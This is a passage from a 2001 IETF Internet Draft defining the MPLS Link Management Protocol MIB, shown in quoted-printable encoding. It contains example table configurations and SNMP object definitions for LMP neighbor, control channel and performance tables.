      lmpCcAuthentication               =3D false(1),=0A=
      lmpCcConfigRetransmitInterval     =3D 10,=0A=
      lmpCcHelloInterval                =3D 5,=0A=
      lmpCcHelloDeadInterval            =3D 15,=0A=
      lmpCcAdminStatus                  =3D up(1),=0A=
      lmpCcRowStatus                    =3D createAndGo(4)=0A=
   }=0A=
=0A=
   {=0A=
      ifIndex                           =3D 2,=0A=
      lmpCcAuthentication               =3D false(1),=0A=
      lmpCcConfigRetransmitInterval     =3D 10,=0A=
      lmpCcHelloInterval                =3D 5,=0A=
      lmpCcHelloDeadInterval            =3D 15,=0A=
      lmpCcAdminStatus                  =3D up(1),=0A=
      lmpCcRowStatus                    =3D createAndGo(4)=0A=
   }=0A=
=0A=
   Next, the three data-bearing links are created. For each data-=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
8]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   bearing link, an ifEntry with the same ifIndex needs to be =
created=0A=
   beforehand.=0A=
=0A=
   In lmpDataBearingLinkTable:=0A=
   {=0A=
      ifIndex                         =3D 41,=0A=
      lmpDataBearingLinkRemoteIfId    =3D 47,=0A=
      lmpDataBearingLinkRowStatus     =3D createAndGo(4)=0A=
   }=0A=
=0A=
   {=0A=
      ifIndex                         =3D 43,=0A=
      lmpDataBearingLinkRemoteIfId    =3D 42,=0A=
      lmpDataBearingLinkRowStatus     =3D createAndGo(4)=0A=
   }=0A=
=0A=
   {=0A=
      ifIndex                         =3D 44,=0A=
      lmpDataBearingLinkRemoteIfId    =3D 48,=0A=
      lmpDataBearingLinkRowStatus     =3D createAndGo(4)=0A=
   }=0A=
=0A=
   Note that the data-bearing link type (lmpDataBearingLinkType) =
does=0A=
   not need to be provisioned as it is automatically populated by =
the=0A=
   node. The definition of the protection role (primary or=0A=
   secondary) for the data-bearing links is stored in the=0A=
   dataBearingChannelTable of the Link Bundling MIB [BUNDLE-MIB].=0A=
=0A=
   Then, a TE link is created as an ifEntry with ifType teLink in=0A=
   the ifTable.=0A=
=0A=
   Once the TE link is created in the ifTable, a TE link entry=0A=
   is created in the LMP MIB to specify TE link information specific=0A=
   to LMP.=0A=
=0A=
   In lmpTeLinkTable:=0A=
   {=0A=
      ifIndex                    =3D 20,=0A=
      lmpRemoteTeLinkId          =3D 33,=0A=
      lmpRemoteTeLinkType        =3D unnumbered(2),=0A=
      lmpTeLinkVerification      =3D true(2),=0A=
      lmpTeLinkFaultIsolation    =3D true(2),=0A=
      lmpTeLinkDwdm              =3D false(1),=0A=
      lmpTeLinkEncodingType      =3D sonet(6),=0A=
      lmpTeLinkBitRate           =3D 100000,=0A=
      lmpTeLinkWavelength        =3D 0,=0A=
      lmpTeLinkAdminStatus       =3D up(1),=0A=
      lmpTeLinkRowStatus         =3D createAndGo(4)=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                  [Page =
9]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   }=0A=
=0A=
   The association between the data-bearing links and the TE links =
is=0A=
   stored in the ifStackTable [IF-MIB].=0A=
=0A=
   In parallel with the entry created in the lmpTeLinkTable, an =
entry=0A=
   may be created in the teLinkTable of Link Bundling MIB=0A=
   [BUNDLE-MIB].=0A=
=0A=
=0A=
=0A=
9.  LMP MIB Definitions=0A=
=0A=
LMP-MIB DEFINITIONS ::=3D BEGIN=0A=
=0A=
IMPORTS=0A=
   MODULE-IDENTITY, OBJECT-TYPE, NOTIFICATION-TYPE,=0A=
   experimental, Integer32, Unsigned32, Counter32, Counter64,=0A=
   IpAddress=0A=
      FROM SNMPv2-SMI=0A=
=0A=
   MODULE-COMPLIANCE, OBJECT-GROUP, NOTIFICATION-GROUP=0A=
      FROM SNMPv2-CONF=0A=
=0A=
   TEXTUAL-CONVENTION, TruthValue, RowStatus, StorageType,=0A=
   RowPointer, TimeStamp=0A=
      FROM SNMPv2-TC=0A=
=0A=
   InterfaceIndex, InterfaceIndexOrZero, ifIndex=0A=
      FROM IF-MIB;=0A=
=0A=
lmpMIB MODULE-IDENTITY=0A=
   LAST-UPDATED "200105221200Z"  -- 22 May 2001 12:00:00 EST=0A=
   ORGANIZATION "Common Control and Measurement Protocols (CCAMP)=0A=
                 Working Group"=0A=
   CONTACT-INFO=0A=
       "        Martin Dubuc=0A=
        Postal: edgeflow, Inc.=0A=
                329 March Rd.=0A=
                Kanata, ON, CANADA K2K 2E1=0A=
        Tel:    +1-613-270-9279 x253=0A=
        Email:  martin.dubuc@edgeflow.com=0A=
=0A=
                Sudheer Dharanikota=0A=
        Postal: Nayna Networks, Inc.=0A=
                157 Topaz Street=0A=
                Milipitas, CA 95035=0A=
        Tel:    +1-408-956-8000 x357=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
10]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
        Email:  sudheer@nayna.com=0A=
=0A=
                Thomas D. Nadeau=0A=
        Postal: Cisco Systems, Inc.=0A=
                300 Apollo Drive=0A=
                Chelmsford, MA 01824=0A=
        Tel:    +1-978-244-3051=0A=
        Email:  tnadeau@cisco.com=0A=
=0A=
                Jonathan P. Lang=0A=
        Postal: Calient Networks, Inc.=0A=
                25 Castilian Drive=0A=
                Goleta, CA 93117=0A=
        Email:  jplang@calient.net=0A=
=0A=
                Evan McGinnis=0A=
        Postal: Calient Networks, Inc.=0A=
                5853 Rue Ferrari=0A=
                San Jose, CA 95138=0A=
        Email:  evan@calient.net"=0A=
=0A=
=0A=
   DESCRIPTION=0A=
       "This MIB contains managed object definitions for the=0A=
        Link Management Protocol (LMP) as=0A=
        defined in: Lang, J., Mitra, K., Drake, J., Kompella, K.,=0A=
        Rekhter, Y., Berger, L., Saha, D.,=0A=
        Basak, D., Sandick, H., Zinin, A., and=0A=
        Rajagopalan, B., Link Management Protocol,=0A=
        Internet Draft <draft-ietf-mpls-lmp-02.txt>,=0A=
        March 2001."=0A=
=0A=
   -- Revision history.=0A=
   REVISION=0A=
       "200105221200Z"  -- 22 May 2001 12:00:00 EST=0A=
   DESCRIPTION=0A=
      "Updates based on IETF-50 feedback. Aligned with=0A=
       upcoming version of LMP draft."=0A=
   REVISION=0A=
       "200102221200Z"  -- 22 February 2001 12:00:00 EST=0A=
   DESCRIPTION=0A=
      "Updates based on MPLS mailing list feedback."=0A=
   REVISION=0A=
       "200101261200Z"  -- 26 January 2001 12:00:00 EST=0A=
   DESCRIPTION=0A=
      "Initial draft version."=0A=
   ::=3D { experimental 113 }=0A=
=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
11]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
-- Textual Conventions=0A=
=0A=
NodeID ::=3D TEXTUAL-CONVENTION=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This value represents a Node ID."=0A=
   SYNTAX        IpAddress=0A=
=0A=
LmpInterval ::=3D TEXTUAL-CONVENTION=0A=
   DISPLAY-HINT "d"=0A=
   STATUS      current=0A=
   DESCRIPTION=0A=
       "The interval delay in milliseconds."=0A=
   SYNTAX      Unsigned32 (1..65535)=0A=
=0A=
LmpRetransmitInterval ::=3D TEXTUAL-CONVENTION=0A=
   DISPLAY-HINT "d"=0A=
   STATUS      current=0A=
   DESCRIPTION=0A=
       "The retransmission interval delay in milliseconds."=0A=
   SYNTAX      Unsigned32 (1..4294967295)=0A=
=0A=
=0A=
-- Top level components of this MIB=0A=
=0A=
-- Traps=0A=
lmpNotifications OBJECT IDENTIFIER ::=3D { lmpMIB 0 }=0A=
-- Tables, Scalars=0A=
lmpObjects       OBJECT IDENTIFIER ::=3D { lmpMIB 1 }=0A=
-- Conformance=0A=
lmpConformance   OBJECT IDENTIFIER ::=3D { lmpMIB 2 }=0A=
=0A=
=0A=
lmpAdminStatus OBJECT-TYPE=0A=
   SYNTAX        INTEGER { up(1), down(2) }=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The desired operational status of LMP on the node."=0A=
   DEFVAL        { up }=0A=
   ::=3D { lmpObjects 1 }=0A=
=0A=
=0A=
-- LMP Neighbor Table=0A=
=0A=
lmpNbrTable OBJECT-TYPE=0A=
   SYNTAX        SEQUENCE OF LmpNbrEntry=0A=
   MAX-ACCESS    not-accessible=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
12]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This table specifies the neighbor node to which control =
channels=0A=
        may be established."=0A=
   ::=3D { lmpObjects 2 }=0A=
=0A=
lmpNbrEntry OBJECT-TYPE=0A=
   SYNTAX        LmpNbrEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "An entry in this table is created by a LMP-enabled device =
for=0A=
        every pair of nodes that can establish control channels."=0A=
   INDEX         { lmpNbrNodeId }=0A=
   ::=3D { lmpNbrTable 1 }=0A=
=0A=
LmpNbrEntry ::=3D SEQUENCE {=0A=
  lmpNbrNodeId                    NodeID,=0A=
  lmpNbrLinkSumRetransmitInterval LmpRetransmitInterval,=0A=
  lmpNbrLinkSumRetransmitTimeout  Unsigned32,=0A=
  lmpNbrAdminStatus               Unsigned32,=0A=
  lmpNbrOperStatus                Unsigned32,=0A=
  lmpNbrRowStatus                 RowStatus,=0A=
  lmpNbrStorageType               StorageType=0A=
}=0A=
=0A=
lmpNbrNodeId OBJECT-TYPE=0A=
   SYNTAX        NodeID=0A=
   MAX-ACCESS    accessible-for-notify=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This is a unique index for an entry in the=0A=
        LmpNbrTable. This value represents the=0A=
        remote Node ID."=0A=
   ::=3D { lmpNbrEntry 1 }=0A=
=0A=
lmpNbrLinkSumRetransmitInterval OBJECT-TYPE=0A=
   SYNTAX        LmpRetransmitInterval=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the interval that is used for the=0A=
        retransmission of LinkSummary messages during the property=0A=
        correlation phase."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
13]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpNbrEntry 2 }=0A=
=0A=
lmpNbrLinkSumRetransmitTimeout OBJECT-TYPE=0A=
   SYNTAX        Unsigned32=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the LinkSummary retransmission timeout=0A=
        period. If the specified timeout expires and no=0A=
        LinkSummaryAck or LinkSummaryNack message has been received,=0A=
        a node can stop restransmitting LinkSummary messages for the=0A=
        TE link. A value of 0 is used to indicate that a node should=0A=
        never stop retransmission."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   DEFVAL        { 0 }=0A=
   ::=3D { lmpNbrEntry 3 }=0A=
=0A=
lmpNbrAdminStatus OBJECT-TYPE=0A=
   SYNTAX        INTEGER { up(1), down(2) }=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The desired operational status of LMP to this remote node."=0A=
   ::=3D { lmpNbrEntry 4 }=0A=
=0A=
lmpNbrOperStatus OBJECT-TYPE=0A=
   SYNTAX        INTEGER { up(1), down(2) }=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The actual operational status of LMP to this remote node."=0A=
   ::=3D { lmpNbrEntry 5 }=0A=
=0A=
lmpNbrRowStatus OBJECT-TYPE=0A=
   SYNTAX        RowStatus=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This variable is used to create, modify, and/or=0A=
        delete a row in this table."=0A=
   ::=3D { lmpNbrEntry 6 }=0A=
=0A=
lmpNbrStorageType OBJECT-TYPE=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
14]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   SYNTAX        StorageType=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The storage type for this entry."=0A=
   ::=3D { lmpNbrEntry 7 }=0A=
=0A=
-- End of lmpNbrTable=0A=
=0A=
=0A=
lmpCcHelloIntervalDefault OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the default value for the =
HelloInterval=0A=
        parameter used in the Hello protocol keep-alive phase. It=0A=
        indicates how frequently LMP Hello messages will be sent."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpObjects 3 }=0A=
=0A=
lmpCcHelloIntervalDefaultMin OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the default minimum value for the=0A=
        HelloInterval parameter."=0A=
   ::=3D { lmpObjects 4 }=0A=
=0A=
lmpCcHelloIntervalDefaultMax OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the default maximum value for the=0A=
        HelloInterval parameter."=0A=
   ::=3D { lmpObjects 5 }=0A=
=0A=
lmpCcHelloDeadIntervalDefault OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
15]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
       "This object specifies the default HelloDeadInterval parameter =
to=0A=
        use in the Hello protocol keep-alive phase. It indicates how =
long=0A=
        a device should wait before declaring the control channel =
dead.=0A=
        The HelloDeadInterval parameter must be greater than the=0A=
        HelloInterval parameter and should be at least three times =
the=0A=
        value of HelloInterval."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpObjects 6 }=0A=
=0A=
lmpCcHelloDeadIntervalDefaultMin OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the default minimum value for the=0A=
        HelloDeadInterval parameter."=0A=
   ::=3D { lmpObjects 7 }=0A=
=0A=
lmpCcHelloDeadIntervalDefaultMax OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the default maximum value for the=0A=
        HelloDeadInterval parameter."=0A=
   ::=3D { lmpObjects 8 }=0A=
=0A=
=0A=
-- LMP Control Channel Table=0A=
=0A=
lmpControlChannelTable OBJECT-TYPE=0A=
   SYNTAX        SEQUENCE OF LmpControlChannelEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This table specifies LMP control channel information."=0A=
   ::=3D { lmpObjects 9 }=0A=
=0A=
lmpControlChannelEntry OBJECT-TYPE=0A=
   SYNTAX        LmpControlChannelEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "An entry in this table is created by a LMP-enabled device =
for=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
16]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
        every control channel. An ifEntry with must exist in the =
ifTable=0A=
        before the lmpControlChannelEntry with corresponding ifIndex=0A=
        is created. If the entry in the ifTable is destroyed, then =
so=0A=
        is the corresponding entry in the lmpControlChannelTable."=0A=
   INDEX         { ifIndex }=0A=
   ::=3D { lmpControlChannelTable 1 }=0A=
=0A=
LmpControlChannelEntry ::=3D SEQUENCE {=0A=
  lmpCcNbrNodeId                 NodeID,=0A=
  lmpRemoteCcId                  InterfaceIndexOrZero,=0A=
  lmpCcAuthentication            TruthValue,=0A=
  lmpCcConfigRetransmitInterval  LmpRetransmitInterval,=0A=
  lmpCcConfigRetransmitTimeout   Unsigned32,=0A=
  lmpCcHelloInterval             LmpInterval,=0A=
  lmpCcHelloIntervalMin          LmpInterval,=0A=
  lmpCcHelloIntervalMax          LmpInterval,=0A=
  lmpCcHelloDeadInterval         LmpInterval,=0A=
  lmpCcHelloDeadIntervalMin      LmpInterval,=0A=
  lmpCcHelloDeadIntervalMax      LmpInterval,=0A=
  lmpCcAdminStatus               Unsigned32,=0A=
  lmpCcOperStatus                Unsigned32,=0A=
  lmpCcRowStatus                 RowStatus,=0A=
  lmpCcStorageType               StorageType=0A=
}=0A=
=0A=
lmpCcNbrNodeId OBJECT-TYPE=0A=
   SYNTAX        NodeID=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This is the Node ID of the control channel remote node.=0A=
        This value gets created by the node when the Config=0A=
        message is acknowledged by the remote node."=0A=
   ::=3D { lmpControlChannelEntry 1 }=0A=
=0A=
lmpRemoteCcId OBJECT-TYPE=0A=
   SYNTAX        InterfaceIndexOrZero=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This value represents the interface index for the remote =
control=0A=
        channel. It is determined during the negotiation phase. A =
value=0A=
        of zero means that the remote control channel identifier has =
not=0A=
        yet been assigned."=0A=
   ::=3D { lmpControlChannelEntry 2 }=0A=
=0A=
lmpCcAuthentication OBJECT-TYPE=0A=
   SYNTAX        TruthValue=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
17]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object indicates whether the control channel should use=0A=
        authentication."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpControlChannelEntry 3 }=0A=
=0A=
lmpCcConfigRetransmitInterval OBJECT-TYPE=0A=
   SYNTAX        LmpRetransmitInterval=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the interval that is used for the=0A=
        retransmission of Config messages during the parameter=0A=
        negotiation phase."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   ::=3D { lmpControlChannelEntry 4 }=0A=
=0A=
lmpCcConfigRetransmitTimeout OBJECT-TYPE=0A=
   SYNTAX        Unsigned32=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the Config restransmission timeout=0A=
        period. If the specified timeout expires and no Config,=0A=
        ConfigAck or ConfigNack message has been received, a node=0A=
        can stop restransmitting Config messages on the control=0A=
        channel. A value of 0 is used to indicate that a node should=0A=
        never stop retransmission."=0A=
   REFERENCE=0A=
       "draft-ietf-mpls-lmp-02.txt - Link Management Protocol (LMP),=0A=
        J. Lang, K. Mitra, J. Drake, K. Kompella, Y. Rekhter,=0A=
        L. Berger, D. Saha, D. Basak, H. Sandick, A. Zinin,=0A=
        B. Rajagopalan, March 2001."=0A=
   DEFVAL        { 0 }=0A=
   ::=3D { lmpControlChannelEntry 5 }=0A=
=0A=
lmpCcHelloInterval OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
18]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the value of the HelloInterval=0A=
        parameter. Once the control channel is active, it represents=0A=
        the negotiated value of the HelloInterval."=0A=
   ::=3D { lmpControlChannelEntry 6 }=0A=
=0A=
lmpCcHelloIntervalMin OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the minimum value for the=0A=
        HelloInterval parameter."=0A=
   ::=3D { lmpControlChannelEntry 7 }=0A=
=0A=
lmpCcHelloIntervalMax OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the maximum value for the=0A=
        HelloInterval parameter."=0A=
   ::=3D { lmpControlChannelEntry 8 }=0A=
=0A=
lmpCcHelloDeadInterval OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the value of the HelloDeadInterval=0A=
        parameter. Once the control channel is active, it represents=0A=
        the negotiated value of the HelloDeadInterval."=0A=
   ::=3D { lmpControlChannelEntry 9 }=0A=
=0A=
lmpCcHelloDeadIntervalMin OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the minimum value for the=0A=
        HelloDeadInterval parameter."=0A=
   ::=3D { lmpControlChannelEntry 10 }=0A=
=0A=
lmpCcHelloDeadIntervalMax OBJECT-TYPE=0A=
   SYNTAX        LmpInterval=0A=
   MAX-ACCESS    read-write=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
19]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object specifies the maximum value for the=0A=
        HelloDeadInterval parameter."=0A=
   ::=3D { lmpControlChannelEntry 11 }=0A=
=0A=
lmpCcAdminStatus OBJECT-TYPE=0A=
   SYNTAX        INTEGER { up(1), down(2) }=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The desired operational status of this control channel."=0A=
   ::=3D { lmpControlChannelEntry 12 }=0A=
=0A=
lmpCcOperStatus OBJECT-TYPE=0A=
   SYNTAX        INTEGER {=0A=
                     up(1),=0A=
                     down(2),=0A=
                     configSnd(3),=0A=
                     configRcv(4),=0A=
                     active(5),=0A=
                     goingDown(6)=0A=
                 }=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The actual operational status of this control channel=0A=
        interface."=0A=
   ::=3D { lmpControlChannelEntry 13 }=0A=
=0A=
lmpCcRowStatus OBJECT-TYPE=0A=
   SYNTAX        RowStatus=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This variable is used to create, modify, and/or=0A=
        delete a row in this table."=0A=
   ::=3D { lmpControlChannelEntry 14 }=0A=
=0A=
lmpCcStorageType OBJECT-TYPE=0A=
   SYNTAX        StorageType=0A=
   MAX-ACCESS    read-create=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "The storage type for this entry."=0A=
   ::=3D { lmpControlChannelEntry 15 }=0A=
=0A=
-- End of lmpControlChannelTable=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
20]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
-- LMP Control Channel Performance Table=0A=
=0A=
lmpControlChannelPerfTable OBJECT-TYPE=0A=
   SYNTAX        SEQUENCE OF LmpInterfacePerfEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This table specifies LMP control channel performance =
counters."=0A=
   ::=3D { lmpObjects 10 }=0A=
=0A=
lmpControlChannelPerfEntry OBJECT-TYPE=0A=
   SYNTAX        LmpInterfacePerfEntry=0A=
   MAX-ACCESS    not-accessible=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "An entry in this table is created by a LMP-enabled device =
for=0A=
        every control channel."=0A=
   AUGMENTS      { lmpControlChannelEntry }=0A=
   ::=3D { lmpControlChannelPerfTable 1 }=0A=
=0A=
LmpInterfacePerfEntry ::=3D SEQUENCE {=0A=
  lmpCcHCInOctets            Counter64,=0A=
  lmpCcInDiscards            Counter32,=0A=
  lmpCcInErrors              Counter32,=0A=
  lmpCcHCOutOctets           Counter64,=0A=
  lmpCcOutDiscards           Counter32,=0A=
  lmpCcOutErrors             Counter32,=0A=
  lmpCcHCHelloReceived       Counter64,=0A=
  lmpCcHCHelloSent           Counter64,=0A=
  lmpCcConfigReceived        Counter32,=0A=
  lmpCcConfigSent            Counter32,=0A=
  lmpCcConfigRetransmit      Counter32,=0A=
  lmpCcLinkSummaryReceived   Counter32,=0A=
  lmpCcLinkSummarySent       Counter32,=0A=
  lmpCcLinkSummaryRetransmit Counter32,=0A=
  lmpCcChannelFailReceived   Counter32,=0A=
  lmpCcChannelFailSent       Counter32,=0A=
  lmpCcChannelActiveReceived Counter32,=0A=
  lmpCcChannelActiveSent     Counter32=0A=
}=0A=
=0A=
lmpCcHCInOctets OBJECT-TYPE=0A=
    SYNTAX      Counter64=0A=
    MAX-ACCESS  read-only=0A=
    STATUS      current=0A=
    DESCRIPTION=0A=
            "The total number of LMP message octets received on the=0A=
             control channel."=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
21]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
    ::=3D { lmpControlChannelPerfEntry 1 }=0A=
=0A=
lmpCcInDiscards OBJECT-TYPE=0A=
    SYNTAX      Counter32=0A=
    MAX-ACCESS  read-only=0A=
    STATUS      current=0A=
    DESCRIPTION=0A=
            "The number of inbound packets which were chosen to be=0A=
             discarded even though no errors had been detected. One=0A=
             possible reason for discarding such a packet could be =
to=0A=
             free up buffer space."=0A=
    ::=3D { lmpControlChannelPerfEntry 2 }=0A=
=0A=
lmpCcInErrors OBJECT-TYPE=0A=
    SYNTAX      Counter32=0A=
    MAX-ACCESS   read-only=0A=
    STATUS       current=0A=
    DESCRIPTION=0A=
            "The number of inbound packets that contained errors=0A=
             preventing them from being processed by LMP."=0A=
    ::=3D { lmpControlChannelPerfEntry 3 }=0A=
=0A=
lmpCcHCOutOctets OBJECT-TYPE=0A=
    SYNTAX       Counter64=0A=
    MAX-ACCESS   read-only=0A=
    STATUS       current=0A=
    DESCRIPTION=0A=
            "The total number of LMP message octets transmitted out =
of=0A=
             the control channel."=0A=
    ::=3D { lmpControlChannelPerfEntry 4 }=0A=
=0A=
lmpCcOutDiscards OBJECT-TYPE=0A=
    SYNTAX       Counter32=0A=
    MAX-ACCESS   read-only=0A=
    STATUS       current=0A=
    DESCRIPTION=0A=
            "The number of outbound packets which were chosen to be=0A=
             discarded even though no errors had been detected to =
prevent=0A=
             their being transmitted. One possible reason for =
discarding=0A=
             such a packet could be to free up buffer space."=0A=
    ::=3D { lmpControlChannelPerfEntry 5 }=0A=
=0A=
lmpCcOutErrors OBJECT-TYPE=0A=
    SYNTAX       Counter32=0A=
    MAX-ACCESS   read-only=0A=
    STATUS       current=0A=
    DESCRIPTION=0A=
            "The number of outbound packets that could not be=0A=
=0A=
=0A=
=0A=
Dubuc et al.             Expires November 2001                 [Page =
22]=0A=
=0C=0A=
Internet Draft                MPLS LMP MIB                  May 22, =
2001=0A=
=0A=
=0A=
             transmitted because of errors."=0A=
    ::=3D { lmpControlChannelPerfEntry 6 }=0A=
=0A=
lmpCcHCHelloReceived OBJECT-TYPE=0A=
   SYNTAX        Counter64=0A=
   MAX-ACCESS    read-only=0A=
   STATUS        current=0A=
   DESCRIPTION=0A=
       "This object counts the number of Hello messages that have=0A=
        been received on this interface."=0A=
